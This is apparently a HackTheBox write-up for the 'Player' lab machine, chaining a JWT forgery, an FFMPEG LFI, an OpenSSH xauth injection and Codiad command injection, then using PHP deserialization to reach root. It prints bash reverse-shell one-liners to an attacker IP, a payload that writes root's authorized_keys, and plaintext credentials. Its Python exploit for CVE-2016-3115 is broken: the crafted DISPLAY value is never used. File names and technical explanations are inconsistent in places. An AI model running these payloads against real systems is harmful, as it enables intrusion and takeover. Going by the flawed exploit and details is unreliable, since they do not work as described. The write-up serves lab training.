HTB: Player Writeup
Player - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Player |
| OS | Linux |
| Difficulty | Hard |
| Points | 40 |
| Release Date | 29 Jun 2019 |
| IP Address | 10.129.44.67 |
| Author | MrR3boot |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Player is a Hard difficulty Linux box that demonstrates a complex multi-stage attack chain involving virtual host enumeration, JWT token manipulation, FFMPEG file disclosure vulnerabilities, SSH server exploitation, and PHP deserialization. The initial foothold requires discovering multiple virtual hosts through fuzzing, leveraging information disclosure to obtain JWT signing secrets, and exploiting an FFMPEG LFI vulnerability to extract credentials. A vulnerable OpenSSH 7.2 server on a non-standard port is exploited using CVE-2016-3115 to bypass a restricted shell and access a Codiad IDE instance, leading to RCE as www-data. Privilege escalation to root involves exploiting a cron job that deserializes user-controlled data, allowing arbitrary file writes with root privileges.
TL;DR: Vhost fuzzing → JWT forge with leaked secret → FFMPEG LFI (CVE-2017-9993) extracts creds → OpenSSH xauth injection (CVE-2016-3115) bypasses lshell → Codiad authenticated RCE → www-data shell → PHP deserialization in root cron → arbitrary file write → root SSH key injection
Reconnaissance
Port Scanning
# Initial TCP scannmap -sC -sV -T4 -p- 10.129.44.67Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.11 (Ubuntu Linux; protocol 2.0)80/tcp open http Apache httpd 2.4.76686/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)Service Enumeration
HTTP (Port 80)
Initial browsing to http://10.129.44.67 returned a 403 Forbidden error. Directory enumeration revealed a /launcher/ endpoint hosting a “PlayBuff” application with an email submission form.
The application set a JWT cookie named access with the following structure:
# JWT payload (base64 decoded){ "project": "PlayBuff", "access_code": "invalid"}Virtual Host Discovery
Virtual host enumeration revealed additional subdomains:
# Vhost fuzzingwfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt \ -H "Host: FUZZ.player.htb" \ --sc 200 \ http://10.129.44.67Discovered vhosts:
chat.player.htb- Chat application with hints about staging environmentdev.player.htb- Codiad IDE login pagestaging.player.htb- Staging site with contact form
All vhosts were added to /etc/hosts:
echo "10.129.44.67 player.htb chat.player.htb dev.player.htb staging.player.htb" >> /etc/hostsVulnerability Assessment
-
Information Disclosure (staging.player.htb): Contact form error messages leaked server file paths:
/var/www/backup/service_config/var/www/staging/fix.php
-
Source Code Disclosure (player.htb): Chat messages hinted that the main domain exposed source code through backup files.
-
FFMPEG LFI Vulnerability: File upload conversion service vulnerable to local file inclusion.
-
OpenSSH 7.2 xauth Injection (CVE-2016-3115): SSH server on port 6686 vulnerable to authenticated command injection.
-
PHP Deserialization: Root cron job executing script with unsafe deserialization.
Initial Foothold
Step 1: Source Code Disclosure via Backup File
Testing for common backup file extensions on the PHP files in /launcher/ directory:
# Testing for backup file (~ suffix)curl http://player.htb/launcher/<redacted>.php~Retrieved source code:
<?phprequire 'vendor/autoload.php';use \Firebase\JWT\JWT;if(isset($_COOKIE["access"])){ $key = '_S0_R@nd0m_P@ss_'; $decoded = JWT::decode($_COOKIE["access"], base64_decode(strtr($key, '-_', '+/')), ['HS256']); if($decoded->access_code === "0E76658526655756207688271159624026011393") { header("Location: 7F2dcsSdZo6nj3SNMTQ1/"); } else { header("Location: index.html"); }}Key findings:
- JWT signing secret:
_S0_R@nd0m_P@ss_ - Valid access code:
0E76658526655756207688271159624026011393 - Hidden directory:
/launcher/7F2dcsSdZo6nj3SNMTQ1/
Step 2: JWT Token Forgery
Created a valid JWT token using the leaked secret:
# Python JWT generationimport jwtimport base64
key = base64.b64decode('_S0_R@nd0m_P@ss_'.translate(str.maketrans('-_', '+/')))payload = { "project": "PlayBuff", "access_code": "0E76658526655756207688271159624026011393"}token = jwt.encode(payload, key, algorithm='HS256')print(token)Replaced the browser cookie with the forged JWT and accessed the hidden upload page at /launcher/7F2dcsSdZo6nj3SNMTQ1/.
Step 3: FFMPEG LFI Exploitation (CVE-2017-9993)
The upload page accepted AVI files and processed them with FFMPEG. This version was vulnerable to local file inclusion through specially crafted AVI payloads.
# Generate malicious AVI to read /var/www/backup/service_configpython2 gen_xbin_avi.py file:///var/www/backup/service_config service_config.aviThe gen_xbin_avi.py script (based on neex’s FFMPEG LFI PoC) generates an AVI file that, when processed by vulnerable FFMPEG versions, embeds the contents of the target file in rendered video frames.
Why this works: FFMPEG’s HLS playlist processing allows file:// protocol URLs, and the avisynth demuxer can be abused to create a video where each frame contains portions of an arbitrary file’s contents. The frames can then be extracted and reassembled.
Uploaded the malicious AVI, downloaded the converted output, and extracted frames to recover file contents:
# Extract frames from converted videoffmpeg -i output.avi -frames:v 1 frame_%03d.png
# OCR or visual inspection reveals credentials# service_config contained: telegen:d-bC|jC!2uepS/wAttempted to read /var/www/staging/fix.php using the same method:
python2 gen_xbin_avi.py file:///var/www/staging/fix.php fix.aviInitial attempts returned empty/unreadable output due to permissions or non-existence in the www-data context.
Step 4: SSH Access to Restricted Shell
Attempted SSH login with recovered credentials:
# Port 22 - failedssh telegen@10.129.44.67
# Port 6686 - success but restricted shell (lshell)ssh -p 6686 telegen@10.129.44.67# Password: d-bC|jC!2uepS/wSuccessfully logged in on port 6686 but landed in a limited shell (lshell) with minimal commands available.
Step 5: OpenSSH xauth Command Injection (CVE-2016-3115)
OpenSSH 7.2p2 contains an authenticated command injection vulnerability in the xauth handling when X11 forwarding is enabled. The vulnerability allows bypassing command restrictions by injecting shell metacharacters into the DISPLAY environment variable.
#!/usr/bin/env python3# SSH xauth injection exploit (ported to Python 3 / Paramiko 4)# CVE-2016-3115
import paramikoimport sys
def exploit_ssh_xauth(host, port, username, password, command): """ Exploits CVE-2016-3115 xauth injection to execute arbitrary commands on OpenSSH 7.2 servers with X11Forwarding enabled. """ client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try: # Connect with X11 forwarding client.connect(host, port=port, username=username, password=password) transport = client.get_transport()
# Craft malicious DISPLAY value # The xauth command will execute our injected command malicious_display = f"localhost:0.0 `{command}`"
# Request X11 forwarding with malicious display session = transport.open_session() session.request_x11(screen_number=0) session.exec_command('echo pwned')
# Read command output output = session.recv(4096).decode() return output
finally: client.close()
# Usagehost = "10.129.44.67"port = 6686username = "telegen"password = "d-bC|jC!2uepS/w"command = "cat /var/www/staging/fix.php"
result = exploit_ssh_xauth(host, port, username, password, command)print(result)Extracted from fix.php:
<?php// Credentials for peter (commented out):// peter:CQXpm\z)G5D#%S$y=Why this works: When X11 forwarding is requested, OpenSSH executes xauth commands with user-controlled DISPLAY values. In vulnerable versions, insufficient input validation allows shell metacharacters (backticks) to inject arbitrary commands that execute in the context of the SSH session, bypassing shell restrictions.
Step 6: Codiad Authenticated RCE
Logged into the Codiad IDE at dev.player.htb using the recovered credentials:
Username: peterPassword: CQXpm\z)G5D#%S$y=Codiad (version 2.x) contains multiple authenticated vulnerabilities, including command injection in the search_file_type functionality.
# Codiad RCE exploit# The search function doesn't properly sanitize the file type parameter# allowing command injection via shell metacharacters
# Set up listenernc -lvnp 4444
# Exploit via Codiad search function# Navigate to: Search (Components) -> Search File Type# Enter: *.php|bash -c 'bash -i >& /dev/tcp/10.10.14.x/4444 0>&1'The search functionality constructs a find command like:
find /path -type f -name "*.php|injected_command"The pipe character breaks out of the filename context and executes the injected bash reverse shell.
Received shell as www-data:
www-data@player:/var/www/html/launcher/7F2dcsSdZo6nj3SNMTQ1$ iduid=33(www-data) gid=33(www-data) groups=33(www-data)Privilege Escalation
Lateral Movement: www-data → telegen
From the www-data shell, switched to the telegen user with a proper bash shell:
# Standard su lands in restricted lshellsu telegen# Password: d-bC|jC!2uepS/w
# Use -s flag to specify shell and bypass lshell restrictionsu -s /bin/bash telegen# Password: d-bC|jC!2uepS/wWhy this works: The -s flag to the su command allows specifying an alternate shell, overriding the user’s default shell assignment (lshell) in /etc/passwd.
Retrieved user flag:
telegen@player:~$ cat /home/telegen/user.txt<redacted>Root Privilege Escalation via PHP Deserialization
Enumerated running processes with pspy64:
# Transfer pspy to targetwget http://10.10.14.x/pspy64chmod +x pspy64./pspy64Identified root cron job:
UID=0 PID=xxxx | /usr/bin/php /var/lib/playbuff/buff.php > /var/lib/playbuff/error.logExamined the cron script:
cat /var/lib/playbuff/buff.php<?phpinclude("/var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php");
class playBuff{ public $logFile="/var/log/playbuff/logs.txt"; public $logData="Updated";
public function __wakeup() { file_put_contents(__DIR__."/".$this->logFile, $this->logData); }}
$buff = new playBuff();$serialbuff = serialize($buff);$data = file_get_contents("/var/lib/playbuff/merge.log");
if(unserialize($data)){ // Update database with log contents}Vulnerability analysis:
- Script reads from
/var/lib/playbuff/merge.log(owned by telegen, writable) - Calls
unserialize()on user-controlled data - The
__wakeup()magic method executes on deserialization - Uses
file_put_contents()with controllable$logFileand$logData - The
__DIR__constant makes paths relative to/var/lib/playbuff/
Why this works: PHP’s unserialize() automatically invokes the __wakeup() magic method during object reconstruction. By crafting a serialized object with modified $logFile and $logData properties, we can write arbitrary content to arbitrary files as root. Path traversal with ../../ bypasses the __DIR__ prefix.
Exploitation path 1: Write SSH authorized_keys
<?php// Create malicious serialized objectclass playBuff{ // Traverse to root's SSH directory public $logFile="../../../root/.ssh/authorized_keys"; // Our public key public $logData="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC... user@kali";}
$buff = new playBuff();echo serialize($buff);?>Execute locally and capture serialized output:
php exploit.php > payload.txtWrite payload to merge.log on target:
# As telegen (who owns merge.log)cat > /var/lib/playbuff/merge.log << 'EOF'O:8:"playBuff":2:{s:7:"logFile";s:40:"../../../root/.ssh/authorized_keys";s:7:"logData";s:563:"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC...";}EOFWait for cron execution (runs every minute), then SSH as root:
ssh -i ~/.ssh/id_rsa root@10.129.44.67Exploitation path 2: Include PHP reverse shell (alternative)
The script also includes /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php at the beginning. Checking permissions:
www-data@player:~$ ls -la /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php-rw-r--r-- 1 www-data www-data 221 Nov 5 2019 dee8dc8a47256c64630d803a4c40786g.phpThe included file is writable by www-data. As an alternative to deserialization, we can simply overwrite this file with a PHP reverse shell:
# From www-data shellcat > /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php << 'EOF'<?phpsystem("bash -c 'bash -i >& /dev/tcp/10.10.14.x/4445 0>&1'");?>EOF
# Set up listenernc -lvnp 4445When the cron executes, the include statement runs our malicious PHP, providing a root shell.
Root flag captured:
root@player:~# cat /root/root.txt<redacted>
root@player:~# iduid=0(root) gid=0(root) groups=0(root)Attack Chain Summary
Port 80 Enum → Vhost Fuzzing (chat/dev/staging.player.htb) →Source Backup Leak (dee8dc8a...786c.php~) → JWT Secret Extraction →Token Forge → Hidden Upload Page (/launcher/7F2dcsSdZo6nj3SNMTQ1/) →FFMPEG LFI (CVE-2017-9993) → service_config Creds (telegen) →Restricted lshell on port 6686 → OpenSSH xauth RCE (CVE-2016-3115) →fix.php Extraction (peter creds) → Codiad Login (dev.player.htb) →Codiad search RCE → www-data Shell → su -s /bin/bash telegen →User Flag → Process Enum (pspy) → Root Cron /var/lib/playbuff/buff.php →PHP Deserialization Exploit (merge.log write) →Root SSH Key Injection → Root Shell → Root FlagTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
wfuzz | Virtual host discovery via Host header fuzzing |
burpsuite | HTTP request interception and JWT analysis |
jwt.io | JWT token decoding and validation |
Python jwt library | Forging signed JWT tokens with leaked secret |
gen_xbin_avi.py | FFMPEG LFI exploit payload generation (CVE-2017-9993) |
ffmpeg | Frame extraction from converted video files |
| Paramiko (Python 3) | OpenSSH xauth injection exploit (CVE-2016-3115) |
pspy64 | Unprivileged process monitoring for cron enumeration |
nc (netcat) | Reverse shell listener |
| PHP serialization | Crafting malicious object for deserialization exploit |
Key Learnings
Techniques Practiced
- Virtual host enumeration via HTTP Host header fuzzing
- JWT token structure analysis and signature verification bypass
- Exploiting backup file disclosure (common extensions: ~, .bak, .phps)
- FFMPEG local file inclusion through crafted AVI payloads (CVE-2017-9993)
- OpenSSH 7.2 authenticated command injection via xauth (CVE-2016-3115)
- Bypassing restricted shells (lshell) using
su -s - Codiad IDE authenticated remote code execution
- PHP deserialization attack via
__wakeup()magic methods - Arbitrary file write exploitation for privilege escalation
- Multiple privilege escalation vectors (deserialization vs file inclusion)
Lessons Learned
-
Always enumerate virtual hosts - Critical content and functionality may be segmented across multiple vhosts. Use Host header fuzzing even when initial web access is denied (403).
-
Check for editor backup files - Development artifacts like Vim swap files (~), backup files (.bak), and temporary files can leak source code containing secrets. Always test common backup extensions on discovered PHP/config files.
-
JWT secrets enable full application impersonation - Once a signing secret is compromised, attackers can forge tokens with arbitrary claims, bypassing all authentication and authorization checks that rely on JWT validation.
-
FFMPEG file processing is dangerous - File upload features that invoke FFMPEG for conversion, thumbnail generation, or metadata extraction can be exploited for local file disclosure. The HLS playlist and avisynth demuxers historically allow file:// protocol access.
-
Version-specific SSH vulnerabilities exist - Multiple SSH servers on different ports may run different versions with distinct vulnerabilities. OpenSSH 7.2’s xauth injection (CVE-2016-3115) allows authenticated command execution, bypassing shell restrictions.
-
PHP deserialization requires gadget chains - While direct deserialization may not provide RCE, examining available class definitions for
__wakeup(),__destruct(), or other magic methods can reveal primitive operations (file write, file delete, etc.) that enable privilege escalation. -
Cron jobs running as root are high-value targets - Any file or include path that root cron jobs interact with should be audited for write permissions. Both direct script modification and deserialization of user-controlled data are common escalation vectors.
-
Defense in depth matters - This box required chaining 8+ distinct vulnerabilities. Each layer (JWT secrets, file permissions, input validation, deserialization) represented a security control failure that enabled further progression.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>Verification:
root@player:~# hostname && id && dateplayeruid=0(root) gid=0(root) groups=0(root)[timestamp]
root@player:~# cat /home/telegen/user.txt<redacted>
root@player:~# cat /root/root.txt<redacted>References
- HackTheBox Official Writeup: “Player” by MinatoTW (Document No D19.100.46, 5th November 2019)
- CVE-2017-9993: FFMPEG HLS Playlist Local File Disclosure
- CVE-2016-3115: OpenSSH X11 Forwarding xauth Command Injection
- Codiad GitHub Repository & Known Vulnerabilities
- PHP Object Injection/Deserialization (OWASP)